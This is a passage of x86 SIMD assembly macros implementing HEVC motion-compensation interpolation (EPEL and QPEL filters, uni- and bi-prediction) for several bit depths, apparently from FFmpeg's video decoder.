%assign %%stride (%1+7)/8
%if %1 == 8
%if %3 <= 4
%define %%load movd
%elif %3 == 8
%define %%load movq
%else
%define %%load movu
%endif
%else
%if %3 == 2
%define %%load movd
%elif %3 == 4
%define %%load movq
%else
%define %%load movu
%endif
%endif
%%load m0, [%2-3*%%stride] ;load data from source
%%load m1, [%2-2*%%stride]
%%load m2, [%2-%%stride ]
%%load m3, [%2 ]
%%load m4, [%2+%%stride ]
%%load m5, [%2+2*%%stride]
%%load m6, [%2+3*%%stride]
%%load m7, [%2+4*%%stride]
%if %1 == 8
%if %3 > 8
SBUTTERFLY wd, 0, 1, %4
SBUTTERFLY wd, 2, 3, %4
SBUTTERFLY wd, 4, 5, %4
SBUTTERFLY wd, 6, 7, %4
%else
punpcklbw m0, m1
punpcklbw m2, m3
punpcklbw m4, m5
punpcklbw m6, m7
%endif
%else
%if %3 > 4
SBUTTERFLY dq, 0, 1, %4
SBUTTERFLY dq, 2, 3, %4
SBUTTERFLY dq, 4, 5, %4
SBUTTERFLY dq, 6, 7, %4
%else
punpcklwd m0, m1
punpcklwd m2, m3
punpcklwd m4, m5
punpcklwd m6, m7
%endif
%endif
%endmacro
%macro QPEL_V_LOAD 5
lea %5q, [%2]
sub %5q, r3srcq
movu m0, [%5q ] ;load x- 3*srcstride
movu m1, [%5q+ %3q ] ;load x- 2*srcstride
movu m2, [%5q+ 2*%3q ] ;load x-srcstride
movu m3, [%2 ] ;load x
movu m4, [%2+ %3q] ;load x+stride
movu m5, [%2+ 2*%3q] ;load x+2*stride
movu m6, [%2+r3srcq] ;load x+3*stride
movu m7, [%2+ 4*%3q] ;load x+4*stride
%if %1 == 8
%if %4 > 8
SBUTTERFLY bw, 0, 1, 8
SBUTTERFLY bw, 2, 3, 8
SBUTTERFLY bw, 4, 5, 8
SBUTTERFLY bw, 6, 7, 8
%else
punpcklbw m0, m1
punpcklbw m2, m3
punpcklbw m4, m5
punpcklbw m6, m7
%endif
%else
%if %4 > 4
SBUTTERFLY wd, 0, 1, 8
SBUTTERFLY wd, 2, 3, 8
SBUTTERFLY wd, 4, 5, 8
SBUTTERFLY wd, 6, 7, 8
%else
punpcklwd m0, m1
punpcklwd m2, m3
punpcklwd m4, m5
punpcklwd m6, m7
%endif
%endif
%endmacro
%macro PEL_12STORE2 3
movd [%1], %2
%endmacro
%macro PEL_12STORE4 3
movq [%1], %2
%endmacro
%macro PEL_12STORE6 3
movq [%1], %2
psrldq %2, 8
movd [%1+8], %2
%endmacro
%macro PEL_12STORE8 3
movdqa [%1], %2
%endmacro
%macro PEL_12STORE12 3
movdqa [%1], %2
movq [%1+16], %3
%endmacro
%macro PEL_12STORE16 3
PEL_12STORE8 %1, %2, %3
movdqa [%1+16], %3
%endmacro
%macro PEL_10STORE2 3
movd [%1], %2
%endmacro
%macro PEL_10STORE4 3
movq [%1], %2
%endmacro
%macro PEL_10STORE6 3
movq [%1], %2
psrldq %2, 8
movd [%1+8], %2
%endmacro
%macro PEL_10STORE8 3
movdqa [%1], %2
%endmacro
%macro PEL_10STORE12 3
movdqa [%1], %2
movq [%1+16], %3
%endmacro
%macro PEL_10STORE16 3
%if cpuflag(avx2)
movu [%1], %2
%else
PEL_10STORE8 %1, %2, %3
movdqa [%1+16], %3
%endif
%endmacro
%macro PEL_10STORE32 3
PEL_10STORE16 %1, %2, %3
movu [%1+32], %3
%endmacro
%macro PEL_8STORE2 3
pextrw [%1], %2, 0
%endmacro
%macro PEL_8STORE4 3
movd [%1], %2
%endmacro
%macro PEL_8STORE6 3
movd [%1], %2
pextrw [%1+4], %2, 2
%endmacro
%macro PEL_8STORE8 3
movq [%1], %2
%endmacro
%macro PEL_8STORE12 3
movq [%1], %2
psrldq %2, 8
movd [%1+8], %2
%endmacro
%macro PEL_8STORE16 3
%if cpuflag(avx2)
movdqu [%1], %2
%else
mova [%1], %2
%endif ; avx
%endmacro
%macro PEL_8STORE32 3
movu [%1], %2
%endmacro
%macro LOOP_END 3
add %1q, 2*MAX_PB_SIZE ; dst += dststride
add %2q, %3q ; src += srcstride
dec heightd ; cmp height
jnz .loop ; height loop
%endmacro
%macro MC_PIXEL_COMPUTE 2-3 ;width, bitdepth
%if %2 == 8
%if cpuflag(avx2) && %0 ==3
%if %1 > 16
vextracti128 xm1, m0, 1
pmovzxbw m1, xm1
psllw m1, 14-%2
%endif
pmovzxbw m0, xm0
%else ; not avx
%if %1 > 8
punpckhbw m1, m0, m2
psllw m1, 14-%2
%endif
punpcklbw m0, m2
%endif
%endif ;avx
psllw m0, 14-%2
%endmacro
%macro EPEL_COMPUTE 4-8 ; bitdepth, width, filter1, filter2, HV/m0, m2, m1, m3
%if %0 == 8
%define %%reg0 %5
%define %%reg2 %6
%define %%reg1 %7
%define %%reg3 %8
%else
%define %%reg0 m0
%define %%reg2 m2
%define %%reg1 m1
%define %%reg3 m3
%endif
%if %1 == 8
%if cpuflag(avx2) && (%0 == 5)
%if %2 > 16
vperm2i128 m10, m0, m1, q0301
%endif
vinserti128 m0, m0, xm1, 1
mova m1, m10
%if %2 > 16
vperm2i128 m10, m2, m3, q0301
%endif
vinserti128 m2, m2, xm3, 1
mova m3, m10
%endif
pmaddubsw %%reg0, %3 ;x1*c1+x2*c2
pmaddubsw %%reg2, %4 ;x3*c3+x4*c4
paddw %%reg0, %%reg2
%if %2 > 8
pmaddubsw %%reg1, %3
pmaddubsw %%reg3, %4
paddw %%reg1, %%reg3
%endif
%else
pmaddwd %%reg0, %3
pmaddwd %%reg2, %4
paddd %%reg0, %%reg2
%if %2 > 4
pmaddwd %%reg1, %3
pmaddwd %%reg3, %4
paddd %%reg1, %%reg3
%if %1 != 8
psrad %%reg1, %1-8
%endif
%endif
%if %1 != 8
psrad %%reg0, %1-8
%endif
packssdw %%reg0, %%reg1
%endif
%endmacro
%macro QPEL_HV_COMPUTE 4 ; width, bitdepth, filter idx
%if cpuflag(avx2)
%assign %%offset 32
%define %%table hevc_qpel_filters_avx2_%2
%else
%assign %%offset 16
%define %%table hevc_qpel_filters_sse4_%2
%endif
%ifdef PIC
lea rfilterq, [%%table]
%else
%define rfilterq %%table
%endif
%if %2 == 8
pmaddubsw m0, [rfilterq + %3q*8 ] ;x1*c1+x2*c2
pmaddubsw m2, [rfilterq + %3q*8+%%offset] ;x3*c3+x4*c4
pmaddubsw m4, [rfilterq + %3q*8+2*%%offset] ;x5*c5+x6*c6
pmaddubsw m6, [rfilterq + %3q*8+3*%%offset] ;x7*c7+x8*c8
paddw m0, m2
paddw m4, m6
paddw m0, m4
%else
pmaddwd m0, [rfilterq + %3q*8 ]
pmaddwd m2, [rfilterq + %3q*8+%%offset]
pmaddwd m4, [rfilterq + %3q*8+2*%%offset]
pmaddwd m6, [rfilterq + %3q*8+3*%%offset]
paddd m0, m2
paddd m4, m6
paddd m0, m4
%if %2 != 8
psrad m0, %2-8
%endif
%if %1 > 4
pmaddwd m1, [rfilterq + %3q*8 ]
pmaddwd m3, [rfilterq + %3q*8+%%offset]
pmaddwd m5, [rfilterq + %3q*8+2*%%offset]
pmaddwd m7, [rfilterq + %3q*8+3*%%offset]
paddd m1, m3
paddd m5, m7
paddd m1, m5
%if %2 != 8
psrad m1, %2-8
%endif
%endif
p%4 m0, m1
%endif
%endmacro
%macro QPEL_COMPUTE 2-3 ; width, bitdepth
%if %2 == 8
%if cpuflag(avx2) && (%0 == 3)
vperm2i128 m10, m0, m1, q0301
vinserti128 m0, m0, xm1, 1
SWAP 1, 10
vperm2i128 m10, m2, m3, q0301
vinserti128 m2, m2, xm3, 1
SWAP 3, 10
vperm2i128 m10, m4, m5, q0301
vinserti128 m4, m4, xm5, 1
SWAP 5, 10
vperm2i128 m10, m6, m7, q0301
vinserti128 m6, m6, xm7, 1
SWAP 7, 10
%endif
pmaddubsw m0, m12 ;x1*c1+x2*c2
pmaddubsw m2, m13 ;x3*c3+x4*c4
pmaddubsw m4, m14 ;x5*c5+x6*c6
pmaddubsw m6, m15 ;x7*c7+x8*c8
paddw m0, m2
paddw m4, m6
paddw m0, m4
%if %1 > 8
pmaddubsw m1, m12
pmaddubsw m3, m13
pmaddubsw m5, m14
pmaddubsw m7, m15
paddw m1, m3
paddw m5, m7
paddw m1, m5
%endif
%else
pmaddwd m0, m12
pmaddwd m2, m13
pmaddwd m4, m14
pmaddwd m6, m15
paddd m0, m2
paddd m4, m6
paddd m0, m4
%if %2 != 8
psrad m0, %2-8
%endif
%if %1 > 4
pmaddwd m1, m12
pmaddwd m3, m13
pmaddwd m5, m14
pmaddwd m7, m15
paddd m1, m3
paddd m5, m7
paddd m1, m5
%if %2 != 8
psrad m1, %2-8
%endif
%endif
%endif
%endmacro
%macro BI_COMPUTE 7-8 ; width, bitd, src1l, src1h, scr2l, scr2h, pw
paddsw %3, %5
%if %1 > 8
paddsw %4, %6
%endif
UNI_COMPUTE %1, %2, %3, %4, %7
%if %0 == 8 && cpuflag(avx2) && (%2 == 8)
vpermq %3, %3, 216
vpermq %4, %4, 216
%endif
%endmacro
%macro UNI_COMPUTE 5
pmulhrsw %3, %5
%if %1 > 8 || (%2 > 8 && %1 > 4)
pmulhrsw %4, %5
%endif
%if %2 == 8
packuswb %3, %4
%else
CLIPW %3, [pb_0], [max_pixels_%2]
%if (%1 > 8 && notcpuflag(avx)) || %1 > 16
CLIPW %4, [pb_0], [max_pixels_%2]
%endif
%endif
%endmacro
; ******************************
; void put_hevc_mc_pixels(int16_t *dst, ptrdiff_t dststride,
; uint8_t *_src, ptrdiff_t _srcstride,
; int height, int mx, int my)
; ******************************
%macro HEVC_PUT_HEVC_PEL_PIXELS 2
HEVC_PEL_PIXELS %1, %2
HEVC_UNI_PEL_PIXELS %1, %2
HEVC_BI_PEL_PIXELS %1, %2
%endmacro
%macro HEVC_PEL_PIXELS 2
cglobal hevc_put_hevc_pel_pixels%1_%2, 4, 4, 3, dst, src, srcstride,height
pxor m2, m2
.loop:
SIMPLE_LOAD %1, %2, srcq, m0
MC_PIXEL_COMPUTE %1, %2, 1
PEL_10STORE%1 dstq, m0, m1
LOOP_END dst, src, srcstride
RET
%endmacro
%macro HEVC_UNI_PEL_PIXELS 2
cglobal hevc_put_hevc_uni_pel_pixels%1_%2, 5, 5, 2, dst, dststride, src, srcstride,height
.loop:
SIMPLE_LOAD %1, %2, srcq, m0
PEL_%2STORE%1 dstq, m0, m1
add dstq, dststrideq ; dst += dststride
add srcq, srcstrideq ; src += srcstride
dec heightd ; cmp height
jnz .loop ; height loop
RET
%endmacro
%macro HEVC_BI_PEL_PIXELS 2
cglobal hevc_put_hevc_bi_pel_pixels%1_%2, 6, 6, 6, dst, dststride, src, srcstride, src2, height
pxor m2, m2
movdqa m5, [pw_bi_%2]
.loop:
SIMPLE_LOAD %1, %2, srcq, m0
SIMPLE_BILOAD %1, src2q, m3, m4
MC_PIXEL_COMPUTE %1, %2, 1
BI_COMPUTE %1, %2, m0, m1, m3, m4, m5, 1
PEL_%2STORE%1 dstq, m0, m1
add dstq, dststrideq ; dst += dststride
add srcq, srcstrideq ; src += srcstride
add src2q, 2*MAX_PB_SIZE ; src += srcstride
dec heightd ; cmp height
jnz .loop ; height loop
RET
%endmacro
; ******************************
; void put_hevc_epel_hX(int16_t *dst, ptrdiff_t dststride,
; uint8_t *_src, ptrdiff_t _srcstride,
; int height, int mx, int my, int width);
; ******************************
%macro HEVC_PUT_HEVC_EPEL 2
%if cpuflag(avx2)
%define XMM_REGS 11
%else
%define XMM_REGS 8
%endif
cglobal hevc_put_hevc_epel_h%1_%2, 5, 6, XMM_REGS, dst, src, srcstride, height, mx, rfilter
%assign %%stride ((%2 + 7)/8)
EPEL_FILTER %2, mx, m4, m5, rfilter
.loop:
EPEL_LOAD %2, srcq-%%stride, %%stride, %1
EPEL_COMPUTE %2, %1, m4, m5, 1
PEL_10STORE%1 dstq, m0, m1
LOOP_END dst, src, srcstride
RET
cglobal hevc_put_hevc_uni_epel_h%1_%2, 6, 7, XMM_REGS, dst, dststride, src, srcstride, height, mx, rfilter
%assign %%stride ((%2 + 7)/8)
movdqa m6, [pw_%2]
EPEL_FILTER %2, mx, m4, m5, rfilter
.loop:
EPEL_LOAD %2, srcq-%%stride, %%stride, %1
EPEL_COMPUTE %2, %1, m4, m5
UNI_COMPUTE %1, %2, m0, m1, m6
PEL_%2STORE%1 dstq, m0, m1
add dstq, dststrideq ; dst += dststride
add srcq, srcstrideq ; src += srcstride
dec heightd ; cmp height
jnz .loop ; height loop
RET
cglobal hevc_put_hevc_bi_epel_h%1_%2, 7, 8, XMM_REGS, dst, dststride, src, srcstride, src2, height, mx, rfilter
movdqa m6, [pw_bi_%2]
EPEL_FILTER %2, mx, m4, m5, rfilter
.loop:
EPEL_LOAD %2, srcq-%%stride, %%stride, %1
EPEL_COMPUTE %2, %1, m4, m5, 1
SIMPLE_BILOAD %1, src2q, m2, m3
BI_COMPUTE %1, %2, m0, m1, m2, m3, m6, 1
PEL_%2STORE%1 dstq, m0, m1
add dstq, dststrideq ; dst += dststride
add srcq, srcstrideq ; src += srcstride
add src2q, 2*MAX_PB_SIZE ; src += srcstride
dec heightd ; cmp height
jnz .loop ; height loop
RET
; ******************************
; void put_hevc_epel_v(int16_t *dst, ptrdiff_t dststride,
; uint8_t *_src, ptrdiff_t _srcstride,
; int height, int mx, int my, int width)
; ******************************
cglobal hevc_put_hevc_epel_v%1_%2, 4, 6, XMM_REGS, dst, src, srcstride, height, r3src, my
movifnidn myd, mym
sub srcq, srcstrideq
EPEL_FILTER %2, my, m4, m5, r3src
lea r3srcq, [srcstrideq*3]
.loop:
EPEL_LOAD %2, srcq, srcstride, %1
EPEL_COMPUTE %2, %1, m4, m5, 1
PEL_10STORE%1 dstq, m0, m1
LOOP_END dst, src, srcstride
RET
cglobal hevc_put_hevc_uni_epel_v%1_%2, 5, 7, XMM_REGS, dst, dststride, src, srcstride, height, r3src, my
movifnidn myd, mym
movdqa m6, [pw_%2]
sub srcq, srcstrideq
EPEL_FILTER %2, my, m4, m5, r3src
lea r3srcq, [srcstrideq*3]
.loop:
EPEL_LOAD %2, srcq, srcstride, %1
EPEL_COMPUTE %2, %1, m4, m5
UNI_COMPUTE %1, %2, m0, m1, m6
PEL_%2STORE%1 dstq, m0, m1
add dstq, dststrideq ; dst += dststride
add srcq, srcstrideq ; src += srcstride
dec heightd ; cmp height
jnz .loop ; height loop
RET
cglobal hevc_put_hevc_bi_epel_v%1_%2, 6, 8, XMM_REGS, dst, dststride, src, srcstride, src2, height, r3src, my
movifnidn myd, mym
movdqa m6, [pw_bi_%2]
sub srcq, srcstrideq
EPEL_FILTER %2, my, m4, m5, r3src
lea r3srcq, [srcstrideq*3]
.loop:
EPEL_LOAD %2, srcq, srcstride, %1
EPEL_COMPUTE %2, %1, m4, m5, 1
SIMPLE_BILOAD %1, src2q, m2, m3
BI_COMPUTE %1, %2, m0, m1, m2, m3, m6, 1
PEL_%2STORE%1 dstq, m0, m1
add dstq, dststrideq ; dst += dststride
add srcq, srcstrideq ; src += srcstride
add src2q, 2*MAX_PB_SIZE ; src += srcstride
dec heightd ; cmp height
jnz .loop ; height loop
RET
%endmacro
; ******************************
; void put_hevc_epel_hv(int16_t *dst, ptrdiff_t dststride,
; uint8_t *_src, ptrdiff_t _srcstride,
; int height, int mx, int my, int width)
; ******************************
%macro HEVC_PUT_HEVC_EPEL_HV 2
cglobal hevc_put_hevc_epel_hv%1_%2, 6, 7, 16 , dst, src, srcstride, height, mx, my, r3src
%assign %%stride ((%2 + 7)/8)
sub srcq, srcstrideq
EPEL_HV_FILTER %2
EPEL_LOAD %2, srcq-%%stride, %%stride, %1
EPEL_COMPUTE %2, %1, m14, m15
%if (%1 > 8 && (%2 == 8))
SWAP m8, m1
%endif
SWAP m4, m0
add srcq, srcstrideq
EPEL_LOAD %2, srcq-%%stride, %%stride, %1
EPEL_COMPUTE %2, %1, m14, m15
%if (%1 > 8 && (%2 == 8))
SWAP m9, m1
%endif
SWAP m5, m0
add srcq, srcstrideq
EPEL_LOAD %2, srcq-%%stride, %%stride, %1
EPEL_COMPUTE %2, %1, m14, m15
%if (%1 > 8 && (%2 == 8))
SWAP m10, m1
%endif
SWAP m6, m0
add srcq, srcstrideq
.loop:
EPEL_LOAD %2, srcq-%%stride, %%stride, %1
EPEL_COMPUTE %2, %1, m14, m15
%if (%1 > 8 && (%2 == 8))
SWAP m11, m1
%endif
SWAP m7, m0
punpcklwd m0, m4, m5
punpcklwd m2, m6, m7
%if %1 > 4
punpckhwd m1, m4, m5
punpckhwd m3, m6, m7
%endif
EPEL_COMPUTE 14, %1, m12, m13
%if (%1 > 8 && (%2 == 8))
punpcklwd m4, m8, m9
punpcklwd m2, m10, m11
punpckhwd m8, m8, m9
punpckhwd m3, m10, m11
EPEL_COMPUTE 14, %1, m12, m13, m4, m2, m8, m3
%if cpuflag(avx2)
vinserti128 m2, m0, xm4, 1
vperm2i128 m3, m0, m4, q0301
PEL_10STORE%1 dstq, m2, m3
%else
PEL_10STORE%1 dstq, m0, m4
%endif
%else
PEL_10STORE%1 dstq, m0, m1
%endif
movdqa m4, m5
movdqa m5, m6
movdqa m6, m7
%if (%1 > 8 && (%2 == 8))
mova m8, m9
mova m9, m10
mova m10, m11
%endif
LOOP_END dst, src, srcstride
RET
cglobal hevc_put_hevc_uni_epel_hv%1_%2, 7, 8, 16 , dst, dststride, src, srcstride, height, mx, my, r3src
%assign %%stride ((%2 + 7)/8)
sub srcq, srcstrideq
EPEL_HV_FILTER %2
EPEL_LOAD %2, srcq-%%stride, %%stride, %1
EPEL_COMPUTE %2, %1, m14, m15
%if (%1 > 8 && (%2 == 8))
SWAP m8, m1
%endif
SWAP m4, m0
add srcq, srcstrideq
EPEL_LOAD %2, srcq-%%stride, %%stride, %1
EPEL_COMPUTE %2, %1, m14, m15
%if (%1 > 8 && (%2 == 8))
SWAP m9, m1
%endif
SWAP m5, m0
add srcq, srcstrideq
EPEL_LOAD %2, srcq-%%stride, %%stride, %1
EPEL_COMPUTE %2, %1, m14, m15
%if (%1 > 8 && (%2 == 8))
SWAP m10, m1
%endif
SWAP m6, m0
add srcq, srcstrideq
.loop:
EPEL_LOAD %2, srcq-%%stride, %%stride, %1
EPEL_COMPUTE %2, %1, m14, m15
%if (%1 > 8 && (%2 == 8))
SWAP m11, m1
%endif
mova m7, m0
punpcklwd m0, m4, m5
punpcklwd m2, m6, m7
%if %1 > 4
punpckhwd m1, m4, m5
punpckhwd m3, m6, m7
%endif
EPEL_COMPUTE 14, %1, m12, m13
%if (%1 > 8 && (%2 == 8))
punpcklwd m4, m8, m9
punpcklwd m2, m10, m11
punpckhwd m8, m8, m9
punpckhwd m3, m10, m11
EPEL_COMPUTE 14, %1, m12, m13, m4, m2, m8, m3
UNI_COMPUTE %1, %2, m0, m4, [pw_%2]
%else
UNI_COMPUTE %1, %2, m0, m1, [pw_%2]
%endif
PEL_%2STORE%1 dstq, m0, m1
mova m4, m5
mova m5, m6
mova m6, m7
%if (%1 > 8 && (%2 == 8))
mova m8, m9
mova m9, m10
mova m10, m11
%endif
add dstq, dststrideq ; dst += dststride
add srcq, srcstrideq ; src += srcstride
dec heightd ; cmp height
jnz .loop ; height loop
RET
cglobal hevc_put_hevc_bi_epel_hv%1_%2, 8, 9, 16, dst, dststride, src, srcstride, src2, height, mx, my, r3src
%assign %%stride ((%2 + 7)/8)
sub srcq, srcstrideq
EPEL_HV_FILTER %2
EPEL_LOAD %2, srcq-%%stride, %%stride, %1
EPEL_COMPUTE %2, %1, m14, m15
%if (%1 > 8 && (%2 == 8))
SWAP m8, m1
%endif
SWAP m4, m0
add srcq, srcstrideq
EPEL_LOAD %2, srcq-%%stride, %%stride, %1
EPEL_COMPUTE %2, %1, m14, m15
%if (%1 > 8 && (%2 == 8))
SWAP m9, m1
%endif
SWAP m5, m0
add srcq, srcstrideq
EPEL_LOAD %2, srcq-%%stride, %%stride, %1
EPEL_COMPUTE %2, %1, m14, m15
%if (%1 > 8 && (%2 == 8))
SWAP m10, m1
%endif
SWAP m6, m0
add srcq, srcstrideq
.loop:
EPEL_LOAD %2, srcq-%%stride, %%stride, %1
EPEL_COMPUTE %2, %1, m14, m15
%if (%1 > 8 && (%2 == 8))
SWAP m11, m1
%endif
SWAP m7, m0
punpcklwd m0, m4, m5
punpcklwd m2, m6, m7
%if %1 > 4
punpckhwd m1, m4, m5
punpckhwd m3, m6, m7
%endif
EPEL_COMPUTE 14, %1, m12, m13
%if (%1 > 8 && (%2 == 8))
punpcklwd m4, m8, m9
punpcklwd m2, m10, m11
punpckhwd m8, m8, m9
punpckhwd m3, m10, m11
EPEL_COMPUTE 14, %1, m12, m13, m4, m2, m8, m3
SIMPLE_BILOAD %1, src2q, m8, m3
%if cpuflag(avx2)
vinserti128 m1, m8, xm3, 1
vperm2i128 m2, m8, m3, q0301
BI_COMPUTE %1, %2, m0, m4, m1, m2, [pw_bi_%2]
%else
BI_COMPUTE %1, %2, m0, m4, m8, m3, [pw_bi_%2]
%endif
%else
SIMPLE_BILOAD %1, src2q, m8, m9
BI_COMPUTE %1, %2, m0, m1, m8, m9, [pw_bi_%2]
%endif
PEL_%2STORE%1 dstq, m0, m4
mova m4, m5
mova m5, m6
mova m6, m7
%if (%1 > 8 && (%2 == 8))
mova m8, m9
mova m9, m10
mova m10, m11
%endif
add dstq, dststrideq ; dst += dststride
add srcq, srcstrideq ; src += srcstride
add src2q, 2*MAX_PB_SIZE ; src += srcstride
dec heightd ; cmp height
jnz .loop ; height loop
RET
%endmacro
; ******************************
; void put_hevc_qpel_hX_X_X(int16_t *dst, ptrdiff_t dststride,
; uint8_t *_src, ptrdiff_t _srcstride,
; int height, int mx, int my, int width)
; ******************************
%macro HEVC_PUT_HEVC_QPEL 2
cglobal hevc_put_hevc_qpel_h%1_%2, 5, 6, 16, dst, src, srcstride, height, mx, rfilter
QPEL_FILTER %2, mx
.loop:
QPEL_H_LOAD %2, srcq, %1, 10
QPEL_COMPUTE %1, %2, 1
%if %2 > 8
packssdw m0, m1
%endif
PEL_10STORE%1 dstq, m0, m1
LOOP_END dst, src, srcstride
RET
cglobal hevc_put_hevc_uni_qpel_h%1_%2, 6, 7, 16 , dst, dststride, src, srcstride, height, mx, rfilter
mova m9, [pw_%2]
QPEL_FILTER %2, mx
.loop:
QPEL_H_LOAD %2, srcq, %1, 10
QPEL_COMPUTE %1, %2
%if %2 > 8
packssdw m0, m1
%endif
UNI_COMPUTE %1, %2, m0, m1, m9
PEL_%2STORE%1 dstq, m0, m1
add dstq, dststrideq ; dst += dststride
add srcq, srcstrideq ; src += srcstride
dec heightd ; cmp height
jnz .loop ; height loop
RET
cglobal hevc_put_hevc_bi_qpel_h%1_%2, 7, 8, 16 , dst, dststride, src, srcstride, src2, height, mx, rfilter
movdqa m9, [pw_bi_%2]
QPEL_FILTER %2, mx
.loop:
QPEL_H_LOAD %2, srcq, %1, 10
QPEL_COMPUTE %1, %2, 1
%if %2 > 8
packssdw m0, m1
%endif
SIMPLE_BILOAD %1, src2q, m10, m11
BI_COMPUTE %1, %2, m0, m1, m10, m11, m9, 1
PEL_%2STORE%1 dstq, m0, m1
add dstq, dststrideq ; dst += dststride
add srcq, srcstrideq ; src += srcstride
add src2q, 2*MAX_PB_SIZE ; src += srcstride
dec heightd ; cmp height
jnz .loop ; height loop
RET
; ******************************
; void put_hevc_qpel_vX_X_X(int16_t *dst, ptrdiff_t dststride,
; uint8_t *_src, ptrdiff_t _srcstride,
; int height, int mx, int my, int width)
; ******************************
cglobal hevc_put_hevc_qpel_v%1_%2, 4, 8, 16, dst, src, srcstride, height, r3src, my, rfilter
movifnidn myd, mym
lea r3srcq, [srcstrideq*3]
QPEL_FILTER %2, my
.loop:
QPEL_V_LOAD %2, srcq, srcstride, %1, r7
QPEL_COMPUTE %1, %2, 1
%if %2 > 8
packssdw m0, m1
%endif
PEL_10STORE%1 dstq, m0, m1
LOOP_END dst, src, srcstride
RET
cglobal hevc_put_hevc_uni_qpel_v%1_%2, 5, 9, 16, dst, dststride, src, srcstride, height, r3src, my, rfilter
movifnidn myd, mym
movdqa m9, [pw_%2]
lea r3srcq, [srcstrideq*3]
QPEL_FILTER %2, my
.loop:
QPEL_V_LOAD %2, srcq, srcstride, %1, r8
QPEL_COMPUTE %1, %2
%if %2 > 8
packssdw m0, m1
%endif
UNI_COMPUTE %1, %2, m0, m1, m9
PEL_%2STORE%1 dstq, m0, m1
add dstq, dststrideq ; dst += dststride
add srcq, srcstrideq ; src += srcstride
dec heightd ; cmp height
jnz .loop ; height loop
RET
cglobal hevc_put_hevc_bi_qpel_v%1_%2, 6, 10, 16, dst, dststride, src, srcstride, src2, height, r3src, my, rfilter
movifnidn myd, mym
movdqa m9, [pw_bi_%2]
lea r3srcq, [srcstrideq*3]
QPEL_FILTER %2, my
.loop:
QPEL_V_LOAD %2, srcq, srcstride, %1, r9
QPEL_COMPUTE %1, %2, 1
%if %2 > 8
packssdw m0, m1
%endif
SIMPLE_BILOAD %1, src2q, m10, m11
BI_COMPUTE %1, %2, m0, m1, m10, m11, m9, 1
PEL_%2STORE%1 dstq, m0, m1
add dstq, dststrideq ; dst += dststride
add srcq, srcstrideq ; src += srcstride
add src2q, 2*MAX_PB_SIZE ; src += srcstride
dec heightd ; cmp height
jnz .loop ; height loop
RET
%endmacro
; ******************************
; void put_hevc_qpel_hvX_X(int16_t *dst, ptrdiff_t dststride,
; uint8_t *_src, ptrdiff_t _srcstride,
; int height, int mx, int my)
; ******************************
%macro HEVC_PUT_HEVC_QPEL_HV 2
cglobal hevc_put_hevc_qpel_hv%1_%2, 6, 8, 16, dst, src, srcstride, height, mx, my, r3src, rfilter
%if cpuflag(avx2)
%assign %%shift 4
%else
%assign %%shift 3
%endif
sub mxq, 1
sub myq, 1
shl mxq, %%shift ; multiply by 32
shl myq, %%shift ; multiply by 32
lea r3srcq, [srcstrideq*3]
sub srcq, r3srcq
QPEL_H_LOAD %2, srcq, %1, 15
QPEL_HV_COMPUTE %1, %2, mx, ackssdw
SWAP m8, m0
add srcq, srcstrideq
QPEL_H_LOAD %2, srcq, %1, 15
QPEL_HV_COMPUTE %1, %2, mx, ackssdw
SWAP m9, m0
add srcq, srcstrideq
QPEL_H_LOAD %2, srcq, %1, 15
QPEL_HV_COMPUTE %1, %2, mx, ackssdw
SWAP m10, m0
add srcq, srcstrideq
QPEL_H_LOAD %2, srcq, %1, 15
QPEL_HV_COMPUTE %1, %2, mx, ackssdw
SWAP m11, m0
add srcq, srcstrideq
QPEL_H_LOAD %2, srcq, %1, 15
QPEL_HV_COMPUTE %1, %2, mx, ackssdw
SWAP m12, m0
add srcq, srcstrideq
QPEL_H_LOAD %2, srcq, %1, 15
QPEL_HV_COMPUTE %1, %2, mx, ackssdw
SWAP m13, m0
add srcq, srcstrideq
QPEL_H_LOAD %2, srcq, %1, 15
QPEL_HV_COMPUTE %1, %2, mx, ackssdw
SWAP m14, m0
add srcq, srcstrideq
.loop:
QPEL_H_LOAD %2, srcq, %1, 15
QPEL_HV_COMPUTE %1, %2, mx, ackssdw
SWAP m15, m0
punpcklwd m0, m8, m9
punpcklwd m2, m10, m11
punpcklwd m4, m12, m13
punpcklwd m6, m14, m15
%if %1 > 4
punpckhwd m1, m8, m9
punpckhwd m3, m10, m11
punpckhwd m5, m12, m13
punpckhwd m7, m14, m15
%endif
QPEL_HV_COMPUTE %1, 14, my, ackssdw
PEL_10STORE%1 dstq, m0, m1
%if %1 <= 4
movq m8, m9
movq m9, m10
movq m10, m11
movq m11, m12
movq m12, m13
movq m13, m14
movq m14, m15
%else
movdqa m8, m9
movdqa m9, m10
movdqa m10, m11
movdqa m11, m12
movdqa m12, m13
movdqa m13, m14
movdqa m14, m15
%endif
LOOP_END dst, src, srcstride
RET
cglobal hevc_put_hevc_uni_qpel_hv%1_%2, 7, 9, 16 , dst, dststride, src, srcstride, height, mx, my, r3src, rfilter
%if cpuflag(avx2)
%assign %%shift 4
%else
%assign %%shift 3
%endif
sub mxq, 1
sub myq, 1
shl mxq, %%shift ; multiply by 32
shl myq, %%shift ; multiply by 32
lea r3srcq, [srcstrideq*3]
sub srcq, r3srcq
QPEL_H_LOAD %2, srcq, %1, 15
QPEL_HV_COMPUTE %1, %2, mx, ackssdw
SWAP m8, m0
add srcq, srcstrideq
QPEL_H_LOAD %2, srcq, %1, 15
QPEL_HV_COMPUTE %1, %2, mx, ackssdw
SWAP m9, m0
add srcq, srcstrideq
QPEL_H_LOAD %2, srcq, %1, 15
QPEL_HV_COMPUTE %1, %2, mx, ackssdw
SWAP m10, m0
add srcq, srcstrideq
QPEL_H_LOAD %2, srcq, %1, 15
QPEL_HV_COMPUTE %1, %2, mx, ackssdw
SWAP m11, m0
add srcq, srcstrideq
QPEL_H_LOAD %2, srcq, %1, 15
QPEL_HV_COMPUTE %1, %2, mx, ackssdw
SWAP m12, m0
add srcq, srcstrideq
QPEL_H_LOAD %2, srcq, %1, 15
QPEL_HV_COMPUTE %1, %2, mx, ackssdw
SWAP m13, m0
add srcq, srcstrideq
QPEL_H_LOAD %2, srcq, %1, 15
QPEL_HV_COMPUTE %1, %2, mx, ackssdw
SWAP m14, m0
add srcq, srcstrideq
.loop:
QPEL_H_LOAD %2, srcq, %1, 15
QPEL_HV_COMPUTE %1, %2, mx, ackssdw
SWAP m15, m0
punpcklwd m0, m8, m9
punpcklwd m2, m10, m11
punpcklwd m4, m12, m13
punpcklwd m6, m14, m15
%if %1 > 4
punpckhwd m1, m8, m9
punpckhwd m3, m10, m11
punpckhwd m5, m12, m13
punpckhwd m7, m14, m15
%endif
QPEL_HV_COMPUTE %1, 14, my, ackusdw
